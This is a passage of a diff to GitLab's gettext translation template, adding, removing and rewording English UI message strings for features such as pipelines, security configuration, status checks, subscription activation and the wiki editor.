@@ -23872,6 +24362,9 @@ msgstr ""
msgid "Pipelines|This project is not currently set up to run pipelines."
msgstr ""
+msgid "Pipelines|To keep your codebase simple, readable, and accessible to contributors, use GitLab CI/CD to analyze your code quality with every push to your project."
+msgstr ""
+
msgid "Pipelines|Token"
msgstr ""
@@ -23902,9 +24395,6 @@ msgstr ""
msgid "Pipelines|Visualize"
msgstr ""
-msgid "Pipelines|Write pipeline configuration"
-msgstr ""
-
msgid "Pipelines|invalid"
msgstr ""
@@ -24202,9 +24692,15 @@ msgstr ""
msgid "Please provide a name"
msgstr ""
+msgid "Please provide a name."
+msgstr ""
+
msgid "Please provide a valid URL"
msgstr ""
+msgid "Please provide a valid URL."
+msgstr ""
+
msgid "Please provide a valid YouTube URL or ID"
msgstr ""
@@ -24241,6 +24737,9 @@ msgstr ""
msgid "Please select a valid target branch"
msgstr ""
+msgid "Please select a valid target branch."
+msgstr ""
+
msgid "Please select and add a member"
msgstr ""
@@ -24250,6 +24749,9 @@ msgstr ""
msgid "Please select what should be included in each exported requirement."
msgstr ""
+msgid "Please select..."
+msgstr ""
+
msgid "Please set a new password before proceeding."
msgstr ""
@@ -24283,9 +24785,6 @@ msgstr ""
msgid "Please wait while we import the repository for you. Refresh at will."
msgstr ""
-msgid "Plugins directory is deprecated and will be removed in 14.0. Please move this file into /file_hooks directory."
-msgstr ""
-
msgid "Pod does not exist"
msgstr ""
@@ -24313,6 +24812,9 @@ msgstr ""
msgid "Postman collection"
msgstr ""
+msgid "Postman collection file path or URL"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -24469,6 +24971,9 @@ msgstr ""
msgid "Preview"
msgstr ""
+msgid "Preview JavaScript projects in the Web IDE with CodeSandbox Live Preview. %{link_start}Learn more.%{link_end} "
+msgstr ""
+
msgid "Preview Markdown"
msgstr ""
@@ -24823,7 +25328,7 @@ msgstr ""
msgid "Profiles|Profile was successfully updated"
msgstr ""
-msgid "Profiles|Public Avatar"
+msgid "Profiles|Public avatar"
msgstr ""
msgid "Profiles|Public email"
@@ -25081,6 +25586,9 @@ msgstr ""
msgid "Project info:"
msgstr ""
+msgid "Project information"
+msgstr ""
+
msgid "Project is required when cluster_type is :project"
msgstr ""
@@ -25234,9 +25742,6 @@ msgstr ""
msgid "ProjectService|Must have permission to trigger a manual build in TeamCity."
msgstr ""
-msgid "ProjectService|New issue URL"
-msgstr ""
-
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
@@ -25711,9 +26216,6 @@ msgstr ""
msgid "Projects shared with %{group_name}"
msgstr ""
-msgid "Projects that belong to a group are prefixed with the group namespace. Existing projects may be moved into a group."
-msgstr ""
-
msgid "Projects to index"
msgstr ""
@@ -25765,12 +26267,6 @@ msgstr ""
msgid "ProjectsNew|Allows you to immediately clone this project’s repository. Skip this if you plan to push up an existing repository."
msgstr ""
-msgid "ProjectsNew|Blank"
-msgstr ""
-
-msgid "ProjectsNew|Blank project"
-msgstr ""
-
msgid "ProjectsNew|Connect your external repository to GitLab CI/CD."
msgstr ""
@@ -25783,6 +26279,9 @@ msgstr ""
msgid "ProjectsNew|Create a blank project to house your files, plan your work, and collaborate on code, among other things."
msgstr ""
+msgid "ProjectsNew|Create a project pre-populated with the necessary files to get you started quickly."
+msgstr ""
+
msgid "ProjectsNew|Create blank project"
msgstr ""
@@ -25795,9 +26294,6 @@ msgstr ""
msgid "ProjectsNew|Create new project"
msgstr ""
-msgid "ProjectsNew|Creating project & repository."
-msgstr ""
-
msgid "ProjectsNew|Description format"
msgstr ""
@@ -25813,10 +26309,10 @@ msgstr ""
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
-msgid "ProjectsNew|No import options available"
+msgid "ProjectsNew|Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
msgstr ""
-msgid "ProjectsNew|Please wait a moment, this page will automatically refresh when ready."
+msgid "ProjectsNew|No import options available"
msgstr ""
msgid "ProjectsNew|Project description %{tag_start}(optional)%{tag_end}"
@@ -25825,9 +26321,6 @@ msgstr ""
msgid "ProjectsNew|Run CI/CD for external repository"
msgstr ""
-msgid "ProjectsNew|Template"
-msgstr ""
-
msgid "ProjectsNew|Visibility Level"
msgstr ""
@@ -26575,9 +27068,6 @@ msgstr ""
msgid "Reconfigure"
msgstr ""
-msgid "Recover hidden stage"
-msgstr ""
-
msgid "Recovering projects"
msgstr ""
@@ -26587,6 +27077,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redirecting"
+msgstr ""
+
msgid "Redis"
msgstr ""
@@ -26685,7 +27178,7 @@ msgstr ""
msgid "Regulate approvals by authors/committers. Affects all projects."
msgstr ""
-msgid "Reindexing Status: %{status}"
+msgid "Reindexing Status: %{status} (Slice multiplier: %{multiplier}, Maximum running slices: %{max_slices})"
msgstr ""
msgid "Rejected (closed)"
@@ -26918,9 +27411,6 @@ msgstr ""
msgid "Remove spent time"
msgstr ""
-msgid "Remove stage"
-msgstr ""
-
msgid "Remove time estimate"
msgstr ""
@@ -26936,6 +27426,9 @@ msgstr ""
msgid "Remove user from project"
msgstr ""
+msgid "Remove..."
+msgstr ""
+
msgid "Removed"
msgstr ""
@@ -27879,6 +28372,18 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|Not connected"
+msgstr ""
+
+msgid "Runners|Offline"
+msgstr ""
+
+msgid "Runners|Online"
+msgstr ""
+
+msgid "Runners|Paused"
+msgstr ""
+
msgid "Runners|Platform"
msgstr ""
@@ -28456,16 +28961,25 @@ msgstr ""
msgid "SecurityConfiguration|Available with %{linkStart}upgrade or free trial%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|Available with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
msgstr ""
+msgid "SecurityConfiguration|Compliance"
+msgstr ""
+
+msgid "SecurityConfiguration|Configuration guide"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via merge request"
+msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
@@ -28480,6 +28994,9 @@ msgstr ""
msgid "SecurityConfiguration|Enable"
msgstr ""
+msgid "SecurityConfiguration|Enable %{feature}"
+msgstr ""
+
msgid "SecurityConfiguration|Enabled"
msgstr ""
@@ -28492,6 +29009,9 @@ msgstr ""
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage scans"
+msgstr ""
+
msgid "SecurityConfiguration|More information"
msgstr ""
@@ -28504,10 +29024,10 @@ msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
-msgid "SecurityConfiguration|SAST merge request creation mutation failed"
+msgid "SecurityConfiguration|Security Control"
msgstr ""
-msgid "SecurityConfiguration|Security Control"
+msgid "SecurityConfiguration|Security testing"
msgstr ""
msgid "SecurityConfiguration|Status"
@@ -28516,6 +29036,9 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
@@ -28570,6 +29093,9 @@ msgstr ""
msgid "SecurityReports|Configure security testing"
msgstr ""
+msgid "SecurityReports|Coverage fuzzing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -28588,9 +29114,6 @@ msgstr ""
msgid "SecurityReports|Download %{artifactName}"
msgstr ""
-msgid "SecurityReports|Download Report"
-msgstr ""
-
msgid "SecurityReports|Download results"
msgstr ""
@@ -28612,9 +29135,6 @@ msgstr ""
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
-msgid "SecurityReports|Fuzzing artifacts"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -28783,6 +29303,9 @@ msgstr ""
msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
msgstr ""
+msgid "See example DevOps Score page in our documentation."
+msgstr ""
+
msgid "See metrics"
msgstr ""
@@ -28849,6 +29372,9 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a shared template repository for all projects on this instance."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29083,6 +29609,9 @@ msgstr ""
msgid "Serverless domain"
msgstr ""
+msgid "Serverless platform"
+msgstr ""
+
msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
msgstr ""
@@ -29236,9 +29765,6 @@ msgstr ""
msgid "Set due date"
msgstr ""
-msgid "Set instance-wide template repository"
-msgstr ""
-
msgid "Set iteration"
msgstr ""
@@ -29473,9 +29999,6 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
-msgid "Shared runners disabled on group level"
-msgstr ""
-
msgid "Shared runners help link"
msgstr ""
@@ -29714,6 +30237,12 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the GitLab %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
@@ -29807,6 +30336,9 @@ msgstr ""
msgid "SlackService|This service allows users to perform common operations on this project by entering slash commands in Slack."
msgstr ""
+msgid "Slice multiplier"
+msgstr ""
+
msgid "Smartcard"
msgstr ""
@@ -30044,6 +30576,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} confidentiality."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} notifications."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30350,6 +30885,9 @@ msgstr ""
msgid "Speed up your pipelines with Needs relationships"
msgstr ""
+msgid "Spent At"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -30365,10 +30903,13 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "Stage data updated"
+msgid "StageName|Build"
+msgstr ""
+
+msgid "StageName|Deploy"
msgstr ""
-msgid "Stage removed"
+msgid "StageName|Test"
msgstr ""
msgid "Standard"
@@ -30590,18 +31131,57 @@ msgstr ""
msgid "StatusCheck|API to check"
msgstr ""
+msgid "StatusCheck|Add status check"
+msgstr ""
+
+msgid "StatusCheck|An error occurred deleting the %{name} status check."
+msgstr ""
+
+msgid "StatusCheck|An error occurred fetching the status checks."
+msgstr ""
+
+msgid "StatusCheck|Apply this status check to any branch or a specific protected branch."
+msgstr ""
+
+msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgstr ""
+
+msgid "StatusCheck|Examples: QA, Security."
+msgstr ""
+
+msgid "StatusCheck|External API is already in use by another status check."
+msgstr ""
+
msgid "StatusCheck|Invoke an external API as part of the approvals"
msgstr ""
+msgid "StatusCheck|Invoke an external API as part of the pipeline process."
+msgstr ""
+
+msgid "StatusCheck|No status checks are defined yet."
+msgstr ""
+
msgid "StatusCheck|Remove status check"
msgstr ""
msgid "StatusCheck|Remove status check?"
msgstr ""
+msgid "StatusCheck|Service name"
+msgstr ""
+
+msgid "StatusCheck|Status checks"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
+msgid "StatusCheck|Target branch"
+msgstr ""
+
+msgid "StatusCheck|Update status check"
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -30635,9 +31215,6 @@ msgstr ""
msgid "StatusPage|Status page URL"
msgstr ""
-msgid "StatusPage|Status page frontend documentation"
-msgstr ""
-
msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
@@ -30692,6 +31269,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Subgroup information"
+msgstr ""
+
msgid "Subgroup milestone"
msgstr ""
@@ -30797,6 +31377,9 @@ msgstr ""
msgid "Subscription deletion failed."
msgstr ""
+msgid "Subscription service outage"
+msgstr ""
+
msgid "Subscription successfully applied to \"%{group_name}\""
msgstr ""
@@ -30908,6 +31491,9 @@ msgstr ""
msgid "Successfully approved"
msgstr ""
+msgid "Successfully banned"
+msgstr ""
+
msgid "Successfully blocked"
msgstr ""
@@ -30932,6 +31518,9 @@ msgstr ""
msgid "Successfully synced %{synced_timeago}."
msgstr ""
+msgid "Successfully unbanned"
+msgstr ""
+
msgid "Successfully unblocked"
msgstr ""
@@ -31043,42 +31632,93 @@ msgstr ""
msgid "Sunday"
msgstr ""
+msgid "SuperSonics|Activate"
+msgstr ""
+
+msgid "SuperSonics|Activate subscription"
+msgstr ""
+
msgid "SuperSonics|Activated on"
msgstr ""
+msgid "SuperSonics|Activation code"
+msgstr ""
+
+msgid "SuperSonics|An error occurred while activating your subscription."
+msgstr ""
+
+msgid "SuperSonics|Billable users"
+msgstr ""
+
+msgid "SuperSonics|Buy subscription"
+msgstr ""
+
+msgid "SuperSonics|Enter activation code"
+msgstr ""
+
msgid "SuperSonics|Expires on"
msgstr ""
+msgid "SuperSonics|Free trial"
+msgstr ""
+
+msgid "SuperSonics|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
+msgstr ""
+
+msgid "SuperSonics|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
+msgstr ""
+
msgid "SuperSonics|ID"
msgstr ""
msgid "SuperSonics|Last Sync"
msgstr ""
+msgid "SuperSonics|Learn how to %{linkStart}activate your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|Licensed to"
msgstr ""
msgid "SuperSonics|Manage"
msgstr ""
+msgid "SuperSonics|Maximum users"
+msgstr ""
+
+msgid "SuperSonics|Paste your activation code"
+msgstr ""
+
msgid "SuperSonics|Plan"
msgstr ""
+msgid "SuperSonics|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
+msgstr ""
+
msgid "SuperSonics|Renews"
msgstr ""
msgid "SuperSonics|Seats"
msgstr ""
+msgid "SuperSonics|Start free trial"
+msgstr ""
+
msgid "SuperSonics|Started"
msgstr ""
+msgid "SuperSonics|Subscription"
+msgstr ""
+
msgid "SuperSonics|Subscription details"
msgstr ""
msgid "SuperSonics|Sync subscription details"
msgstr ""
+msgid "SuperSonics|The activation code is not valid. Please make sure to copy it exactly from the Customers Portal or confirmation email. Learn more about %{linkStart}activating your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|The subscription details synced successfully."
msgstr ""
@@ -31088,18 +31728,48 @@ msgstr ""
msgid "SuperSonics|This field is required."
msgstr ""
+msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
+msgstr ""
+
+msgid "SuperSonics|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgstr ""
+
+msgid "SuperSonics|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Licensing%{linkEnd} service, a hassle-free way to manage your subscription."
+msgstr ""
+
msgid "SuperSonics|Type"
msgstr ""
+msgid "SuperSonics|Upload a legacy license"
+msgstr ""
+
+msgid "SuperSonics|Users in subscription"
+msgstr ""
+
+msgid "SuperSonics|Users over subscription"
+msgstr ""
+
+msgid "SuperSonics|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "SuperSonics|Valid From"
msgstr ""
+msgid "SuperSonics|You can learn more about %{activationLinkStart}activating your subscription%{activationLinkEnd}. If you need further assistance, please %{supportLinkStart}contact GitLab Support%{supportLinkEnd}."
+msgstr ""
+
msgid "SuperSonics|You can no longer sync your subscription details with GitLab. Get help for the most common connectivity issues by %{connectivityHelpLinkStart}troubleshooting the activation code%{connectivityHelpLinkEnd}."
msgstr ""
+msgid "SuperSonics|You can start a free trial of GitLab Ultimate without any obligation or payment details."
+msgstr ""
+
msgid "SuperSonics|You do not have an active subscription"
msgstr ""
+msgid "SuperSonics|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "SuperSonics|Your subscription"
msgstr ""
@@ -31118,6 +31788,9 @@ msgstr ""
msgid "Survey Response"
msgstr ""
+msgid "Switch Branch"
+msgstr ""
+
msgid "Switch branch/tag"
msgstr ""
@@ -31340,6 +32013,9 @@ msgstr ""
msgid "Template to append to all Service Desk issues"
msgstr ""
+msgid "TemplateRepository|Select a repository to make its templates available to all projects. %{link_start}What should the repository contain?%{link_end} "
+msgstr ""
+
msgid "Templates"
msgstr ""
@@ -31494,9 +32170,6 @@ msgstr ""
msgid "Test Cases"
msgstr ""
-msgid "Test cases are not available for this project"
-msgstr ""
-
msgid "Test coverage parsing"
msgstr ""
@@ -31636,6 +32309,9 @@ msgstr ""
msgid "Tests"
msgstr ""
+msgid "Text style"
+msgstr ""
+
msgid "Thank you for signing up for your free trial! You will get additional instructions in your inbox shortly."
msgstr ""
@@ -31666,7 +32342,7 @@ msgstr ""
msgid "The \"%{group_path}\" group allows you to sign in with your Single Sign-On Account"
msgstr ""
-msgid "The \"Require approval from CODEOWNERS\" setting was moved to %{banner_link_start}Protected Branches%{banner_link_end}"
+msgid "The %{featureName} feature is part of your GitLab Ultimate trial."
msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
@@ -31689,6 +32365,9 @@ msgstr ""
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
+msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
+msgstr ""
+
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
@@ -31880,6 +32559,9 @@ msgstr ""
msgid "The interval must be one of %{intervals}."
msgstr ""
+msgid "The invitation can not be found with the provided invite token."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -31925,6 +32607,9 @@ msgstr ""
msgid "The maximum file size is %{size}."
msgstr ""
+msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -31943,9 +32628,6 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
-msgid "The merge request has made changes to this file that affect the number of code quality violations in it."
-msgstr ""
-
msgid "The metric must be one of %{metrics}."
msgstr ""
@@ -32249,9 +32931,6 @@ msgstr ""
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
-msgid "There is a connectivity issue"
-msgstr ""
-
msgid "There is a halted Elasticsearch migration"
msgstr ""
@@ -32318,12 +32997,6 @@ msgstr ""
msgid "There was a problem fetching users."
msgstr ""
-msgid "There was a problem refreshing the data, please try again"
-msgstr ""
-
-msgid "There was a problem saving your custom stage, please try again"
-msgstr ""
-
msgid "There was a problem sending the confirmation email"
msgstr ""
@@ -32351,6 +33024,9 @@ msgstr ""
msgid "There was an error fetching configuration for charts"
msgstr ""
+msgid "There was an error fetching content, please refresh the page"
+msgstr ""
+
msgid "There was an error fetching data for the selected stage"
msgstr ""
@@ -32414,9 +33090,6 @@ msgstr ""
msgid "There was an error removing the e-mail."
msgstr ""
-msgid "There was an error removing your custom stage, please try again"
-msgstr ""
-
msgid "There was an error resetting group pipeline minutes."
msgstr ""
@@ -32459,9 +33132,6 @@ msgstr ""
msgid "There was an error updating the dashboard, branch named: %{branch} already exists."
msgstr ""
-msgid "There was an error updating the stage order. Please try reloading the page."
-msgstr ""
-
msgid "There was an error when reseting email token."
msgstr ""
@@ -32585,7 +33255,10 @@ msgstr ""
msgid "This also resolves this thread"
msgstr ""
-msgid "This application was created by %{link_to_owner}."
+msgid "This application was created by %{user_link}."
+msgstr ""
+
+msgid "This application was created for group %{group_link}."
msgstr ""
msgid "This application will be able to:"
@@ -32687,9 +33360,6 @@ msgstr ""
msgid "This feature requires local storage to be enabled"
msgstr ""
-msgid "This feature should be used with an index that was created after 13.0"
-msgstr ""
-
msgid "This field is required."
msgstr ""
@@ -33023,6 +33693,9 @@ msgstr ""
msgid "This user has the %{access} role in the %{name} project."
msgstr ""
+msgid "This user is banned"
+msgstr ""
+
msgid "This user is blocked"
msgstr ""
@@ -33065,9 +33738,6 @@ msgstr ""
msgid "ThreatMonitoring|Anomalous Requests"
msgstr ""
-msgid "ThreatMonitoring|Application firewall not detected"
-msgstr ""
-
msgid "ThreatMonitoring|Container Network Policies are not installed or have been disabled. To view this data, ensure your Network Policies are installed and enabled for your cluster."
msgstr ""
@@ -33092,6 +33762,9 @@ msgstr ""
msgid "ThreatMonitoring|Events"
msgstr ""
+msgid "ThreatMonitoring|Failed to create incident, please try again."
+msgstr ""
+
msgid "ThreatMonitoring|Hide dismissed alerts"
msgstr ""
@@ -33143,9 +33816,6 @@ msgstr ""
msgid "ThreatMonitoring|Status"
msgstr ""
-msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -33176,12 +33846,6 @@ msgstr ""
msgid "ThreatMonitoring|View documentation"
msgstr ""
-msgid "ThreatMonitoring|Web Application Firewall"
-msgstr ""
-
-msgid "ThreatMonitoring|While it's rare to have no traffic coming to your application, it can happen. In any event, we ask that you double check your settings to make sure you've set up the WAF correctly."
-msgstr ""
-
msgid "Throughput"
msgstr ""
@@ -33191,6 +33855,9 @@ msgstr ""
msgid "Time"
msgstr ""
+msgid "Time Spent"
+msgstr ""
+
msgid "Time based: Yes"
msgstr ""
@@ -33242,6 +33909,9 @@ msgstr ""
msgid "Time tracking"
msgstr ""
+msgid "Time tracking report"
+msgstr ""
+
msgid "Time until first merge request"
msgstr ""
@@ -33417,9 +34087,6 @@ msgstr[1] ""
msgid "Time|s"
msgstr ""
-msgid "Tip:"
-msgstr ""
-
msgid "Tip: Hover over a job to see the jobs it depends on to run."
msgstr ""
@@ -33534,9 +34201,6 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
-msgstr ""
-
msgid "To pass variables to the triggered pipeline, add %{code_start}variables[VARIABLE]=VALUE%{code_end} to the API request."
msgstr ""
@@ -33654,13 +34318,13 @@ msgstr ""
msgid "Toggle project select"
msgstr ""
-msgid "Toggle sidebar"
+msgid "Toggle shortcuts"
msgstr ""
-msgid "Toggle the Performance Bar"
+msgid "Toggle sidebar"
msgstr ""
-msgid "Toggle this dialog"
+msgid "Toggle the Performance Bar"
msgstr ""
msgid "Toggle thread"
@@ -33690,9 +34354,6 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
-msgid "Too much data"
-msgstr ""
-
msgid "Topics (optional)"
msgstr ""
@@ -33890,6 +34551,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgstr ""
+
msgid "Trigger manual job"
msgstr ""
@@ -34115,6 +34779,9 @@ msgstr ""
msgid "Unable to fetch branch list for this project."
msgstr ""
+msgid "Unable to fetch branches list, please close the form and try again"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -34358,6 +35025,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused"
+msgstr ""
+
msgid "Unused, previous indices: %{index_names} will be deleted after %{time} automatically."
msgstr ""
@@ -34517,6 +35187,9 @@ msgstr ""
msgid "Upload file"
msgstr ""
+msgid "Upload license"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -34838,6 +35511,9 @@ msgstr ""
msgid "Use your smart card to authenticate with the LDAP server."
msgstr ""
+msgid "Used"
+msgstr ""
+
msgid "Used by members to sign in to your group in GitLab"
msgstr ""
@@ -34847,6 +35523,9 @@ msgstr ""
msgid "Used programming language"
msgstr ""
+msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Used to help configure your identity provider"
msgstr ""
@@ -34955,27 +35634,45 @@ msgstr ""
msgid "UserLists|Feature flag user list"
msgstr ""
+msgid "UserLists|Get started with user lists"
+msgstr ""
+
msgid "UserLists|Lists allow you to define a set of users to be used with feature flags. %{linkStart}Read more about feature flag lists.%{linkEnd}"
msgstr ""
+msgid "UserLists|Loading user lists"
+msgstr ""
+
msgid "UserLists|Name"
msgstr ""
msgid "UserLists|New list"
msgstr ""
+msgid "UserLists|New user list"
+msgstr ""
+
msgid "UserLists|Save"
msgstr ""
msgid "UserLists|There are no users"
msgstr ""
+msgid "UserLists|There was an error fetching the user lists."
+msgstr ""
+
msgid "UserLists|User ID"
msgstr ""
msgid "UserLists|User IDs"
msgstr ""
+msgid "UserLists|User Lists"
+msgstr ""
+
+msgid "UserLists|User lists allow you to define a set of users to use with Feature Flags."
+msgstr ""
+
msgid "UserList|Delete %{name}?"
msgstr ""
@@ -35108,6 +35805,9 @@ msgstr ""
msgid "UserProfile|made a private contribution"
msgstr ""
+msgid "Username (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Username (optional)"
msgstr ""
@@ -35129,6 +35829,9 @@ msgstr ""
msgid "Users"
msgstr ""
+msgid "Users can launch a development environment from a GitLab browser tab when the %{linkStart}Gitpod%{linkEnd} integration is enabled."
+msgstr ""
+
msgid "Users in License"
msgstr ""
@@ -35240,6 +35943,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Total number of deploys to production."
msgstr ""
+msgid "ValueStreamEvent|Items in stage"
+msgstr ""
+
msgid "ValueStreamEvent|Stage time (median)"
msgstr ""
@@ -35805,15 +36511,15 @@ msgstr ""
msgid "We don't have enough data to show this stage."
msgstr ""
-msgid "We encountered an error and our team has been notified. Please try again."
-msgstr ""
-
msgid "We have found the following errors:"
msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
+msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgstr ""
+
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
msgstr ""
@@ -35853,9 +36559,6 @@ msgstr ""
msgid "We've found no vulnerabilities"
msgstr ""
-msgid "Web Application Firewall"
-msgstr ""
-
msgid "Web IDE"
msgstr ""
@@ -35883,16 +36586,16 @@ msgstr ""
msgid "WebIDE|This project does not accept unsigned commits."
msgstr ""
-msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgid "WebIDE|This project does not accept unsigned commits. You can’t commit changes through the Web IDE."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project."
+msgid "WebIDE|You can’t edit files directly in this project. Fork this project and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
+msgid "WebIDE|You can’t edit files directly in this project. Go to your fork and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebexTeamsService|Send notifications about project events to Webex Teams."
@@ -35925,9 +36628,6 @@ msgstr ""
msgid "Webhooks allow you to trigger a URL if, for example, new code is pushed or a new issue is created. You can configure webhooks to listen for specific events like pushes, issues or merge requests. Group webhooks will apply to all projects in a group, allowing you to standardize webhook functionality across your entire group."
msgstr ""
-msgid "Webhooks have moved. They can now be found under the Settings menu."
-msgstr ""
-
msgid "Webhooks|Comments"
msgstr ""
@@ -36170,6 +36870,9 @@ msgstr ""
msgid "Who will be using this GitLab trial?"
msgstr ""
+msgid "Why are you signing up? (Optional)"
+msgstr ""
+
msgid "Wiki"
msgstr ""
@@ -36278,6 +36981,12 @@ msgstr ""
msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
+msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
+msgstr ""
+
+msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgstr ""
+
msgid "WikiPage|Cancel"
msgstr ""
@@ -36296,12 +37005,18 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Keep editing"
+msgstr ""
+
msgid "WikiPage|More Information."
msgstr ""
msgid "WikiPage|Page title"
msgstr ""
+msgid "WikiPage|Retry"
+msgstr ""
+
msgid "WikiPage|Save changes"
msgstr ""
@@ -36311,6 +37026,12 @@ msgstr ""
msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
msgstr ""
+msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgstr ""
